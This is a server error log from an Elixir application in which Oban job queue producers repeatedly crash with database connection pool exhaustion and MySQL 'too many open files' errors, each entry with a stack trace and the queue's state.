State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:49:14.239763Z], limit: 20, uuid: "513aa7a0-2ad3-460f-b978-f150d4315269", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:14.239769Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.139571>, refresh_timer: #Reference<0.2525715032.1121189889.139567>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:49:14.239903Z], limit: 5, uuid: "5e8e2b04-c98e-4d17-a5b2-28f69e1c3887", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:14.239908Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31185>, refresh_timer: #Reference<0.2525715032.1068498948.31159>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1023ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:49:14.239728Z], limit: 50, uuid: "2e6bd221-8322-4dfe-bf66-e391e450e4d2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:14.239735Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31186>, refresh_timer: #Reference<0.2525715032.1068498948.31152>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:26.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:49:14.239733Z], limit: 3, uuid: "8895a910-a785-4e3f-ab75-8d10df5e9b9b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:14.239738Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.139572>, refresh_timer: #Reference<0.2525715032.1121189889.139565>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:49:14.238051Z], limit: 10, uuid: "7be01547-5e33-4d83-bf91-7827aea2144f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:14.238057Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31187>, refresh_timer: #Reference<0.2525715032.1099431938.33427>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:26.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:49:14.239168Z], limit: 5, uuid: "ae015d74-7359-4f7d-a1df-dee817c6ea97", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:14.239174Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.139573>, refresh_timer: #Reference<0.2525715032.1099431938.33422>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:26.339000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:29.681000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:32.231000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:49:26.241193Z], limit: 10, uuid: "2a767b07-4187-426d-8b87-253925753f37", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:26.241198Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31466>, refresh_timer: #Reference<0.2525715032.1077673987.4267>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:49:26.238582Z], limit: 5, uuid: "05ddd7c1-e429-4ab4-829f-c8212513aa82", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:26.238590Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31461>, refresh_timer: #Reference<0.2525715032.1068498948.31419>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:49:26.241208Z], limit: 3, uuid: "c35333bb-02c6-413a-9e89-cb871d0e4571", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:26.241213Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31464>, refresh_timer: #Reference<0.2525715032.1099431938.33625>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
